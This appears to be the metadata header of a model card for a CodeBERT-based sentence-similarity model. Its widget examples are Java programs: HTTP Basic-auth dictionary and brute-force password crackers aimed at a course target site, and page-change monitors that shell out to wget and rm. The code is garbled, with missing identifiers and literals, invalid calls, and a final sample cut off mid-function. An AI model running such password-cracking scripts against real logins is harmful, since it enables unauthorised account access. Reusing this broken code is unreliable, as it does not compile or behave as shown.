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---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/codebert-base
widget:
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\
    \ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
    \npublic class Dictionary \n{\n  String uname = \"\";\n  String pword = \"null\"\
    ;\n  Vector v = new Vector();\n   int runTime;\n  public void doConnect(String\
    \ connect, int num)\n  {\n    String  = connect;\n    \n    try\n     {\n    \
    \   URL secureSite = new URL();\n       URLConnection connection = secureSite.openConnection();\n\
    \       if (uname != null || pword != null)\n\t  {\n\t   \n\t    for(int i=num;\
    \ i<v.size(); i++)\n\t    {\n\t      pword = (String)v.elementAt(i);\n\t     \
    \ String up = uname + \":\" + pword;\n            String encoding;\n         \
    \   try\n\t\t{\n\t\t  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder)\
    \ Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t  encoding = encoder.encode\
    \ (up.getBytes());\n\t\t \n           }\n\t     catch (Exception ex) \n      \
    \      {\n\t\t  Base64Converter encoder = new Base64Converter();\n\t\t  System.out.println(\"\
    in catch\");\n              encoding = encoder.encode(up.getBytes());\n      \
    \     }\n\t     connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n\
    \           connection.connect();\n           if(connection instanceof HttpURLConnection)\n\
    \t     {\n\t       HttpURLConnection httpCon=(HttpURLConnection)connection;\n\
    \             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\
    \t\t  {\n\t\t   System.out.println(\"Not authorized - check  for details\" + \"\
    \ -Incorrect Password : \" + pword);\n\t         doConnect(i, i+1);\n\t      \
    \ }\n\t\telse\n\t\t { \n\t\t  System.out.println(\"\\n\\n\\nPassword for HTTP\
    \ Secure Site by Dictionary Attack:\");\n\t        System.out.println( +\"\\tPassword\
    \ : \"+ pword);\n\n              runTime = System.currentTimeMillis() - runTime;\
    \ \n              System.out.println(\"Time taken  crack password (in seconds)\"\
    +\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken  crack password : \"+ i);\n\t  \
    \      System.exit(0);\n\t      }\n\t    }\n\t  }\n      }\n    }\n    catch(Exception\
    \ ex)\n    {\n      ex.printStackTrace();\n    }\n  }\n  public Vector getPassword()\n\
    \  {\n    try\n    {\n      ReadFile  rf = new ReadFile();\n      rf.loadFile();\n\
    \      v = rf.getVector();\n    }\n    catch(Exception ex)\n    {\n      ex.printStackTrace();\n\
    \    }\n    return v;\n  } \n  public void setTimeTaken( int timetaken)\n  {\n\
    \    runTime = timetaken;\n  }   \n  public static void main ( String args[] )\
    \ throws IOException \n  {\n    \n     runTime1 = System.currentTimeMillis();\
    \     \n    Dictionary newDo = new Dictionary();\n    newDo.setTimeTaken(runTime1);\n\
    \    newDo. getPassword();\n    String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;\n    newDo.doConnect(site, 0);\n    \n  }  \n  \n}\n\nclass  Base64Converter\n\
    \      {\n  \n          public final char [ ]  alphabet = {\n              'A',\
    \ 'B', 'C', 'D', 'E', 'F', 'G', 'H',   \n              'I', 'J', 'K', 'L', 'M',\
    \ 'N', 'O', 'P',   \n              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   \n\
    \              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   \n              'g',\
    \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',   \n              'o', 'p', 'q', 'r', 's',\
    \ 't', 'u', 'v',   \n              'w', 'x', 'y', 'z', '0', '1', '2', '3',   \n\
    \              '4', '5', '6', '7', '8', '9', '+', '/' }; \n  \n  \n          public\
    \ String  encode ( String  s )\n          {\n              return encode ( s.getBytes\
    \ ( ) );\n          }\n  \n          public String  encode ( byte [ ]  octetString\
    \ )\n          {\n              int  bits24;\n              int  bits6;\n  \n\
    \              char [ ]  out\n                = new char [ ( ( octetString.length\
    \ - 1 ) / 3 + 1 ) * 4 ];\n  \n              int outIndex = 0;\n              int\
    \ i        = 0;\n  \n              while ( ( i + 3 ) <= octetString.length ) {\n\
    \                  \n                  bits24=( octetString [ i++ ] & 0xFF ) <<\
    \ 16;\n                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n  \n \
    \                 bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [\
    \ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000\
    \ ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n     \
    \             bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n                  out [ outIndex++\
    \ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0000003F );\n\
    \                  out [ outIndex++ ] = alphabet [ bits6 ];\n              }\n\
    \  \n              if ( octetString.length - i == 2 )\n              {\n     \
    \             \n                  bits24  = ( octetString [ i     ] & 0xFF ) <<\
    \ 16;\n                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n   \
    \               bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++\
    \ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >>\
    \ 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n          \
    \        bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n                  out [ outIndex++\
    \ ] = alphabet [ bits6 ];\n  \n                  \n                  out [ outIndex++\
    \ ] = '=';\n              }\n              else if ( octetString.length - i ==\
    \ 1 )\n              {\n                  \n                  bits24 = ( octetString\
    \ [ i ] & 0xFF ) << 16;\n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n\
    \                  out [ outIndex++ ] = alphabet [ bits6 ];\n                \
    \  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++\
    \ ] = alphabet [ bits6 ];\n  \n                  \n                  out [ outIndex++\
    \ ] = '=';\n                  out [ outIndex++ ] = '=';\n              }\n  \n\
    \              return new String ( out );\n          }\n       }\n  \n  \n"
  sentences:
  - "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\
    \npublic class WatchDog\n{\n\n   static Process p = null;\n   static Process qproc\
    \ = null;\n\n   static BufferedReader bf = null;\n   static StringTokenizer tok\
    \ = null;\n\n   static String Path = null;\n   static String str = null;\n   static\
    \ String urlStr=null;\n   static boolean changed = false;\n\n   static File indexfile\
    \ = new File(\"index.html\");\n   static File tmpfile = new File(\"tmpindex.html\"\
    );\n   static File mdfile = new File(\"md5file.txt\");\n   static File tmpmdfile\
    \ = new File(\"tmpmd5file.txt\");\n   static PrintWriter mailwriter = null;\n\n\
    \n   public static void main (String[] args) \n   {\n\n      urlStr = \"http://www.cs.rmit.edu./\"\
    ;\n\n      try\n      {\n         \n         mailwriter = new PrintWriter(new\
    \ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n         getLatest(urlStr);\n\
    \         parseFile(); \n\n         mailwriter.read();\n\n         if(changed)\n\
    \         {\n            System.out.println(\"Sending Mail\");\n            p\
    \ = Runtime.getRuntime().exec(\"./mailscript\");\n            p.waitFor();\n\n\
    \         }\n         else\n            System.out.println(\" mail sent\");\n\n\
    \      }  catch (IOException ioe)\n         {\n            System.out.println(\"\
    IOException\");\n            ioe.printStackTrace();\n         }\n         catch\
    \ (InterruptedException intex)\n         {\n            System.out.println(\"\
    Interrupted Exception\");\n            intex.printStackTrace();\n         }\n\n\
    \n   }\n\n\n   static void getLatest(String urlStr)\n   { \n      \n      URL\
    \ url = null;\n      \n      try\n      {\n         url = new URL(urlStr);\n\n\
    \      } catch (MalformedURLException mfurl)\n        {\n           System.out.println(\"\
    Malformed URL\");\n           mfurl.printStackTrace();\n        }\n\n      try\n\
    \      {\n         mailwriter.println();\n\n         p = Runtime.getRuntime().exec(\"\
    /usr//pwd\"); \n         p.waitFor();\n         bf= new BufferedReader(new InputStreamReader(\n\
    \                          p.getInputStream()));\n\n         Path=bf.readLine();\n\
    \n         if (indexfile.exists())\n         {\n            mailwriter.println(\"\
    File with name 'index.html' found in directory.\");\n            mailwriter.println(\"\
    Renaming existing 'index.html'  'tmpindex.html...\");\n            p = Runtime.getRuntime().exec(\"\
    /usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n            p.waitFor();\n\
    \            p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\
    /\"+tmpmdfile);\n            mailwriter.println();\n            mailwriter.println(\"\
    File with name 'md5file.txt' found in directory.\");\n            mailwriter.print(\"\
    Renaming existing 'md5file.txt'  'tmpmd5file.txt...\");\n\n            mailwriter.println(\"\
    .\");\n\n            mailwriter.println();\n         }\n\n         mailwriter.println(\"\
    Downloading current version of site - \" + urlStr);\n         p = Runtime.getRuntime().exec(\"\
    /usr/local//wget \"+url);\n         p.waitFor();\n         if (!tmpfile.exists())\n\
    \         {\n            mailwriter.println(\"File - \" + urlStr + \"index.html\
    \ saved  disk for the first time.\");\n         }\n\n\n      } catch (IOException\
    \ ioe)\n        {\n           System.out.println(\"IOException\");\n         \
    \  ioe.printStackTrace();\n        }\n        catch (IndexOutOfBoundsException\
    \ iobe)\n        {\n           System.out.println(\"Index Out Of Bounds Exception\"\
    );\n           iobe.printStackTrace();\n        }\n        catch (Exception e)\n\
    \        {\n           System.out.println(\"Exception\");\n           e.printStackTrace();\n\
    \        }\n   }\n\n   static void parseFile()\n   {\n\n      Vector imgVect =\
    \ new Vector();\n\n      try\n      {\n         p = Runtime.getRuntime().exec(\"\
    /usr//grep img \" + Path + \"/\"+ indexfile);\n         p.waitFor();\n       \
    \ bf = new BufferedReader(new InputStreamReader(\n                          p.getInputStream()));\n\
    \n         while((str=bf.readLine())!=null)\n         {\n            bf = new\
    \ StringTokenizer(str, \"\\\"\", false);\n          \n            while(bf.hasMoreTokens())\n\
    \            {\n               str=bf.nextToken();\n               if ((str.indexOf(\"\
    gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n                  imgVect.addElement(str);\n\
    \            }\n           \n         }\n\n      }catch (IOException ioe)\n  \
    \      {\n           System.out.println(\"IOException\");\n           ioe.printStackTrace();\n\
    \        }\n        catch (Exception e)\n        {\n           System.out.println(\"\
    Exception\");\n           e.printStackTrace();\n        }\n\n        mailwriter.println(\"\
    Creating file with md5sums of the webpage and images...\");\n        md5Create(imgVect);\n\
    \n   }\n\n   static void md5Create(Vector imgVect)\n   {\n      String tmpString\
    \ = null;\n      Vector imgNames = new Vector();\n\n      try\n      {\n     \
    \    PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\
    \ false)));\n \n         p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\
    \         p.waitFor();\n         bf= new BufferedReader(new InputStreamReader(\n\
    \                          p.getInputStream()));\n         pr.println(bf.readLine());\n\
    \   \n         for(int i=0; i<imgVect.size();i++)\n         {\n            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))),\
    \ i);\n            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))),\
    \ i);\n\n            p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n\
    \            p.waitFor();\n            bf= new BufferedReader(new InputStreamReader(\n\
    \                          p.getInputStream()));\n            pr.println(bf.readLine());\n\
    \            rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n         }\n\
    \         pr.get();\n\n      }  catch (IOException ioe)\n         {\n        \
    \    System.out.println(\"IOException\");\n            ioe.printStackTrace();\n\
    \         }\n         catch (InterruptedException intex)\n         {\n       \
    \     System.out.println(\"Interrupted Exception\");\n            intex.printStackTrace();\n\
    \         }\n\n      if (tmpmdfile.exists())\n         compVersions((imgVect.size())+1);\n\
    \n   }\n\n   static void compVersions(int numlines)\n   {\n\n      int tmp = 0;\n\
    \      int x = 0;\n      String[] md5A = new String[numlines];\n      Vector tmpmd5V\
    \ = new Vector(); \n                                     \n                  \
    \                   \n      String[] tmpmd5A = null;\n      StringTokenizer stoken\
    \  = null;\n      String mdImgName = null;\n      String mdImgVal = null;\n  \
    \    String tmpImgName = null;\n      String tmpImgVal = null;\n\n      try\n\
    \      {\n\n         bf = new BufferedReader(new FileReader(mdfile));\n\n    \
    \     while((str = bf.readLine()) != null)\n         {\n            md5A[tmp]=str;\n\
    \            tmp++;\n         }\n\n         bf = new BufferedReader(new FileReader(tmpmdfile));\n\
    \         tmp=0;\n\n         while ((str = bf.readLine()) !=null)\n         {\n\
    \            tmpmd5V.addElement(str);\n            tmp++;\n         }\n\n    \
    \     tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   \n\n\
    \         if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n         {\n            mailwriter.println(\"\
    ---The file index.html has changed.---\");\n            mailwriter.println(\"\
    -Diff of old and new -\");\n            changed=true;\n            mailwriter.println();\n\
    \            p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\"\
    );\n            p.waitFor();\n             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
    \n            while ((str = bf.readLine()) != null)\n               mailwriter.println(str);\n\
    \n         }\n         else\n         {\n            mailwriter.println(\"The\
    \ file index.html hasn't changed.\");\n            mailwriter.println();\n   \
    \      }\n\n         mailwriter.println();\n         mailwriter.println(\"Changes\
    \  Images\");\n         mailwriter.println(\"-----------------\");\n\n\n     \
    \    \n\n         for (tmp=1; tmp<md5A.length; tmp++) \n         {\n         \
    \   stoken = new StringTokenizer(md5A[tmp]);\n            mdImgVal = stoken.nextToken();\n\
    \            mdImgName = stoken.nextToken();\n            for (x=1; x<tmpmd5A.length;\
    \ x++)\n            {\n               stoken = new StringTokenizer(tmpmd5A[x]);\n\
    \               tmpImgVal = stoken.nextToken();\n               tmpImgName = stoken.nextToken();\n\
    \n               if (mdImgName.compareTo(tmpImgName) == 0)\n               {\n\
    \                  if(mdImgVal.compareTo(tmpImgVal) == 0)\n                  {\n\
    \                     \n                     break;\n                  }\n   \
    \               else\n                  {\n                     mailwriter.println(\"\
    The image \"+mdImgName+\" has changed.\");\n                     changed=true;\n\
    \                     break;\n                  }\n               }\n        \
    \       if (x == ((tmpmd5A.length)-1))\n               {\n                  mailwriter.println(\"\
    The image \"+mdImgName+\" is  new  this \");\n                  changed=true;\n\
    \               }\n            }\n         }\n\n         for (tmp=1; tmp<tmpmd5A.length;\
    \ tmp++) \n         {\n            stoken = new StringTokenizer(tmpmd5A[tmp]);\n\
    \            tmpImgVal = stoken.nextToken();\n            tmpImgName = stoken.nextToken();\n\
    \            for (x=1; x<md5A.length; x++)\n            {\n               stoken\
    \ = new StringTokenizer(md5A[x]);\n               mdImgVal = stoken.nextToken();\n\
    \               mdImgName = stoken.nextToken();\n               if (tmpImgName.compareTo(mdImgName)\
    \ == 0)\n               {\n                  break;\n               }\n      \
    \         if (x == ((md5A.length)-1))\n               {\n                  mailwriter.println(\"\
    The image \"+tmpImgName+\" is   longer  the \");\n                  changed=true;\n\
    \               }\n            }\n         }\n\n\n      } catch(IOException ioe)\n\
    \         {System.out.println(\"IOException\");\n          ioe.printStackTrace();\n\
    \         }\n        catch(InterruptedException iex)\n         {System.out.println(\"\
    Interrupted Exception\");\n         iex.printStackTrace();\n         }\n\n   }\n\
    \n\n   static Object getFullPath(String fname)\n   {\n      \n\n      if(fname.charAt(0)==\
    \ '/') \n         fname=urlStr+fname;  \n      else if(fname.charAt(0) != 'h')\n\
    \         fname=urlStr+'/'+fname;\n\n      getImgFile(fname);\n\n      return\
    \ (Object)fname; \n   }\n\n   static void getImgFile(String fullPath)\n   {\n\
    \      \n\n      try\n      {\n         qproc=Runtime.getRuntime().exec(\"/usr/local//wget\
    \ \"+fullPath);\n         qproc.waitFor();\n\n      } catch (IOException ioe)\n\
    \        {\n           System.out.println(\"IOException\");\n           ioe.printStackTrace();\n\
    \        }\n        catch (InterruptedException intex)\n        {\n          \
    \ System.out.println(\"Interrupted Exception\");\n           intex.printStackTrace();\n\
    \        }\n   }\n\n   static void rmImgFile(String delpath)\n   {\n      \n\n\
    \      try\n      {\n         qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n\
    \         qproc.waitFor();\n\n      } catch (IOException ioe)\n        {\n   \
    \        System.out.println(\"IOException\");\n           ioe.printStackTrace();\n\
    \        }\n        catch (InterruptedException intex)\n        {\n          \
    \ System.out.println(\"Interrupted Exception\");\n           intex.printStackTrace();\n\
    \        }\n   \n   }\n\n   static Object getImgNames(String prsName)\n   {\n\
    \          \n  \n      String str = new StringTokenizer(prsName, \"/\", false);\n\
    \n      while(str.hasMoreTokens())\n      {\n         str=bgf.nextToken();\n \
    \        if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n     \
    \       prsName=str;\n      }\n      return (Object)prsName;\n   }\n}\n"
  - "import java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\
    \npublic class WatchDog\n{\n   private String address;\n   private UnixMailing\
    \ email;\n\n   private int step = 0;\n   private String buffer = \"\";\n\n   public\
    \ static void main(String [] args)\n   {\n      if (args.length < 2)\n      {\n\
    \         System.err.println(\"Invalid usage!\");\n         System.err.println(\"\
    Usage: java WatchDog <url> <email>\");\n         System.exit(1);\n      }\n\n\
    \      String address = args[0];\n      String email = args[1];\n      WatchDog\
    \ theProg = new WatchDog(address, email);\n\n      try\n      {\n         File\
    \ currDir = new File(\".\");\n         File [] list = currDir.listFiles();\n \
    \        for (int i = 0; i < list.length; i++)\n         {\n            if (list[i].getName().trim().startsWith(\"\
    _buffer\"))\n               list[i].delete();\n         }\n      }\n      catch(Exception\
    \ e) {}\n\n      while (true)\n      {\n         theProg.checkPage();\n      \
    \   try\n         {\n            Thread.sleep();\n         }\n         catch(InterruptedException\
    \ e ) {}\n      }\n\n   }\n\n   public WatchDog(String address, String email)\n\
    \   {\n      this.address = address;\n      this.email = new UnixMailing(email);\n\
    \   }\n\n   public void checkPage()\n   {\n      try\n      {\n         File buffFp\
    \ = new File(\"_bufferFile.html\");\n         Vector imgs = new Vector();\n\n\
    \         boolean getAgain = false;\n         if (buffFp.exists())\n         {\n\
    \            URLConnection conn = (new URL(address)).openConnection();\n     \
    \       conn.setDoInput(true);\n            conn.connect();\n            DataInputStream\
    \ inNet = new DataInputStream(conn.getInputStream());\n\n            System.out.println(\"\
    Checking file \"+address);\n            char i = '\\0';\n            char f =\
    \ '\\0';\n            DataInputStream inFile = new DataInputStream(\n        \
    \                                     new FileInputStream(buffFp));\n        \
    \    try\n            {\n               int step = 0;\n               while(true)\n\
    \               {\n                  i = (char)inNet.readByte();\n           \
    \       f = (char)inFile.readByte();\n\n                  if (i != f)\n      \
    \            {\n                     email.println(\"  changes in the content\
    \ of the web: \"+address);\n                     System.out.println(\"  changes\
    \ in the content of the web: \"+address);\n                     getAgain = true;\n\
    \                     break;\n                  }\n                  tokenImages(i,\
    \ imgs);\n               }\n            }\n            catch(EOFException eofe)\
    \ {}\n\n            if (!getAgain)\n            {\n               try\n      \
    \         {\n                  i = (char)inNet.readByte();\n                 \
    \ email.println(\"  changes in the content of the web: \"+address);\n        \
    \          System.out.println(\"  changes in the content of the web: \"+address);\n\
    \                  getAgain = true;\n               }\n               catch(EOFException\
    \ eofe) {}\n               try\n               {\n                  f = (char)inFile.readByte();\n\
    \                  email.println(\"  changes in the content of the web: \"+address);\n\
    \                  System.out.println(\"  changes in the content of the web: \"\
    +address);\n                  getAgain = true;\n               }\n           \
    \    catch(EOFException eofe) {}\n            }\n\n            inFile.print();\n\
    \            inNet.print();\n         }\n         else\n            getAgain =\
    \ true;\n\n\n         if (getAgain)\n         {\n            getAgain = false;\n\
    \            URLConnection conn = (new URL(address)).openConnection();\n     \
    \       conn.setDoInput(true);\n            conn.connect();\n            DataInputStream\
    \ inNet = new DataInputStream(conn.getInputStream());\n\n            System.out.println(\"\
    Storing file \"+address);\n            DataOutputStream outFile = new DataOutputStream(\n\
    \                                             new FileOutputStream(buffFp));\n\
    \            byte i = 0;\n            try\n            {\n               while(true)\n\
    \               {\n                  i = inNet.readByte();\n                 \
    \ outFile.writeByte(i);\n                  tokenImages((char)i, imgs);\n     \
    \          }\n            }\n            catch(EOFException eofe) {}\n\n     \
    \       outFile.print();\n            inNet.print();\n         }\n         for(int\
    \ index = 0; index < imgs.size(); index++)\n            checkImage(address, (String)imgs.get(index));\n\
    \         email.sent();\n      }\n      catch(Exception e)\n      {\n        \
    \ e.printStackTrace();\n      }\n   }\n\n\n   public void tokenImages(char i,\
    \ Vector imgs)\n   {\n      if (step == 1) \n      {\n         if (i == 'i' &&\
    \ buffer.length() <= 0 ||\n             i == 'm' && buffer.equals(\"i\") ||\n\
    \             i == 'g' && buffer.equals(\"im\"))\n         {\n            buffer\
    \ += i;\n            buffer = buffer.toLowerCase();\n         }\n         else\n\
    \         {\n            if (Character.isWhitespace(i) && buffer.equals(\"img\"\
    ))\n               step = 2;\n            else if (!Character.isWhitespace(i)\
    \ || buffer.length() > 0)\n               step = 0;\n            buffer = \"\"\
    ;\n         }\n      }\n      else if (step == 2) \n      {\n         if (i ==\
    \ 's' && buffer.length() <= 0 ||\n             i == 'r' && buffer.equals(\"s\"\
    ) ||\n             i == 'c' && buffer.equals(\"sr\"))\n         {\n          \
    \  buffer += i;\n            buffer = buffer.toLowerCase();\n         }\n    \
    \     else\n         {\n            if (Character.isWhitespace(i) && buffer.equals(\"\
    src\"))\n               step = 3;\n            else if (i == '=' && buffer.equals(\"\
    src\"))\n               step = 4;\n            else if (i == '>')\n          \
    \     step = 0;\n            buffer = \"\";\n         }\n      }\n      else if\
    \ (step == 3) \n      {\n         if (i == '=')\n         {\n            step\
    \ = 4;\n         }\n         else if (!Character.isWhitespace(i))\n         {\n\
    \            if(i == '>')\n               step = 0;\n            else\n      \
    \         step = 2;\n            buffer = \"\";\n         }\n      }\n      else\
    \ if (step == 4) \n      {\n         if (i == '\\\"')\n         {\n          \
    \  step = 5;\n            buffer = \"\";\n         }\n         else if (!Character.isWhitespace(i))\n\
    \         {\n            if(i == '>')\n            {\n               buffer =\
    \ \"\";\n               step = 0;\n            }\n            else\n         \
    \   {\n               buffer = \"\"+i;\n               step = 6;\n           \
    \ }\n\n         }\n\n      }\n      else if (step == 5) \n      {\n         if\
    \ (i == '\\\"')\n         {\n            if (buffer.trim().length() > 0)\n   \
    \            imgs.add(buffer);\n            buffer = \"\";\n            step =\
    \ 0;\n         }\n         else\n            buffer += i;\n      }\n      else\
    \ if (step == 6) \n      {\n         if (Character.isWhitespace(i) || i == '>')\n\
    \         {\n            if (buffer.trim().length() > 0)\n               imgs.add(buffer);\n\
    \            buffer = \"\";\n            step = 0;\n         }\n         else\n\
    \            buffer += i;\n      }\n      else if(i == '<')\n      {\n       \
    \  step = 1;\n         buffer = \"\";\n      }\n   }\n\n   public void checkImage(String\
    \ hostUrl, String imageUrl)\n   {\n      try\n      {\n         String fullURL\
    \ = \"\";\n         if (imageUrl.startsWith(\"http\"))\n         {\n         \
    \   fullURL = imageUrl;\n         }\n         else if (imageUrl.startsWith(\"\
    /\"))\n         {\n            fullURL = \"http://\"+(new URL(hostUrl)).getHost()+imageUrl;\n\
    \         }\n         else\n         {\n            String path = (new URL(hostUrl)).getPath();\n\
    \            if (!path.endsWith(\"/\"))\n               path = path.substring(0,\
    \ path.lastIndexOf('/')+1);\n\n            fullURL = \"http://\"+(new URL(hostUrl)).getHost()+path+imageUrl;\n\
    \         }\n\n         File buffFp = new File(\"_buffer\"+\n                \
    \      (new URL(fullURL)).getPath().replaceAll(\"/\", \"_\"));\n         Vector\
    \ imgs = new Vector();\n\n         boolean getAgain = false;\n         if (buffFp.exists())\n\
    \         {\n            URLConnection conn = (new URL(fullURL)).openConnection();\n\
    \            conn.setDoInput(true);\n            conn.connect();\n           \
    \ DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\n    \
    \        System.out.println(\"Checking image: \"+fullURL);\n            byte i\
    \ = 0;\n            byte f = 0;\n            DataInputStream inFile = new DataInputStream(\n\
    \                                             new FileInputStream(buffFp));\n\
    \            try\n            {\n               int step = 0;\n              \
    \ while(true)\n               {\n                  i = inNet.readByte();\n   \
    \               f = inFile.readByte();\n\n                  if (i != f)\n    \
    \              {\n                     email.println(\"Image \"+fullURL+\" has\
    \ been change!\");\n                     System.out.println(\"Image \"+fullURL+\"\
    \ has been change!\");\n                     getAgain = true;\n              \
    \       break;\n                  }\n               }\n            }\n       \
    \     catch(EOFException eofe) {}\n\n            if (!getAgain)\n            {\n\
    \               try\n               {\n                  i = inNet.readByte();\n\
    \                  email.println(\"Image \"+fullURL+\" has been change!\");\n\
    \                  System.out.println(\"Image \"+fullURL+\" has been change!\"\
    );\n                  getAgain = true;\n               }\n               catch(EOFException\
    \ eofe) {}\n               try\n               {\n                  f = inFile.readByte();\n\
    \                  email.println(\"Image \"+fullURL+\" has been change!\");\n\
    \                  System.out.println(\"Image \"+fullURL+\" has been change!\"\
    );\n                  getAgain = true;\n               }\n               catch(EOFException\
    \ eofe) {}\n            }\n\n            inFile.print();\n            inNet.print();\n\
    \         }\n         else\n            getAgain = true;\n\n         if (getAgain)\n\
    \         {\n            getAgain = false;\n            URLConnection conn = (new\
    \ URL(fullURL)).openConnection();\n            conn.setDoInput(true);\n      \
    \      conn.connect();\n            DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\
    \n            System.out.println(\"Storing the image: \"+fullURL);\n         \
    \   DataOutputStream outFile = new DataOutputStream(\n                       \
    \                      new FileOutputStream(buffFp));\n            byte i = 0;\n\
    \            try\n            {\n               while(true)\n               {\n\
    \                  i = inNet.readByte();\n                  outFile.writeByte(i);\n\
    \               }\n            }\n            catch(EOFException eofe) {}\n\n\
    \            outFile.print();\n            inNet.print();\n         }\n      }\n\
    \      catch(Exception e)\n      {\n         e.printStackTrace();\n      }\n \
    \  }\n}\n\n"
  - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public\
    \ static void main(String[] args) {\n      new CrackAttempt();\n   }\n}\n\nclass\
    \ CrackAttempt {\n   public CrackAttempt() {\n      final int MAX_LENGTH = 3;\n\
    \      boolean auth = false;\n      Date  = new Date();\n      boolean morePasswords\
    \ = true;\n      int passPtr = 0;\n      StringBuffer validChars = new StringBuffer(\"\
    abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n      char[] password\
    \ = new char[MAX_LENGTH];\n\n      password[0] = validChars.charAt(0);\n     \
    \ while (!auth && morePasswords) {\n         String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;\n         try {\n            \n            Authenticator.setDefault(new CrackAuth(password));\n\
    \            URL url = new URL(resource);\n            HttpURLConnection conn\
    \ = (HttpURLConnection)url.openConnection();\n            conn.setRequestMethod(\"\
    HEAD\");\n            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
    \ {\n               System.out.println(\"cracked with \" + new String(password));\n\
    \               auth = true;\n            }\n         } catch (Exception e) {\n\
    \            System.out.println(\" was  exception: \" + e.getMessage());\n   \
    \      }\n         int count = passPtr;\n         while (true) {\n           \
    \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n     \
    \          password[count] = validChars.charAt(0);\n               count--;\n\
    \            } else {\n               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
    \ + 1);\n               break;\n            }\n            if (count < 0) {\n\
    \               \n               if (passPtr < MAX_LENGTH - 1) {\n           \
    \       passPtr++;\n                  password[passPtr] = validChars.charAt(0);\n\
    \               } else {\n                  morePasswords = false;\n         \
    \      }\n               break;\n            }\n         }\n         \n      }\
    \ \n      if (!auth) {\n         System.out.println(\"Unable  determine password\"\
    );\n      } else {\n          time = (new Date()).getTime() - start.getTime();\n\
    \         System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
    \  crack the password\");\n      }\n   }\n}\n\nclass CrackAuth extends Authenticator\
    \ {\n   char[] password;\n   public CrackAuth(char[] password) {\n      this.password\
    \ = password;\n   }\n\n   protected PasswordAuthentication getPasswordAuthentication()\n\
    \   {\n      String user = \"\";\n      return new PasswordAuthentication(user,\
    \ password);\n   }\n}\n"
- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
    public class Dictionary\n{\n   private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n   private static String password;\n   private static int length;         \
    \ \n   private static int t_counter;       \n   private static int f_counter;\
    \       \n                                       \n   private static int respCode;\
    \        \n   private static BufferedReader buf;  \n\n   public Dictionary()\n\
    \   {\n      FileReader fRead;\n      Authenticator.setDefault(new DictionaryAuthenticator());\n\
    \      t_counter = 0;\n      f_counter = 0;\n      length = 0;\n\n      try\n\
    \      {\n         fRead = new FileReader(\"/usr/share/lib/dict/words\");\n  \
    \       buf = new BufferedReader(fRead);\n      }\n      catch (FileNotFoundException\
    \ e)\n      {\n         System.out.println(\"File not found\");\n      }\n   }\n\
    \n   public static void main(String[] args)\n   {\n      Dictionary dict = new\
    \ Dictionary();\n      String file = \" \";\n      while(respCode != 200 )\n \
    \     {\n         file = dict.fetchURL();\n      }\n      System.out.println(\"\
    Number of attempts: \" + t_counter);\n      System.out.println(\"Password: \"\
    \ + password);\n      System.out.println(file);\n   }\n\n   private String fetchURL()\n\
    \   {\n      StringWriter sw = new StringWriter();\n      PrintWriter pw = new\
    \ PrintWriter();\n\n      try\n      {\n         URL url = new URL(urlString);\n\
    \         HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
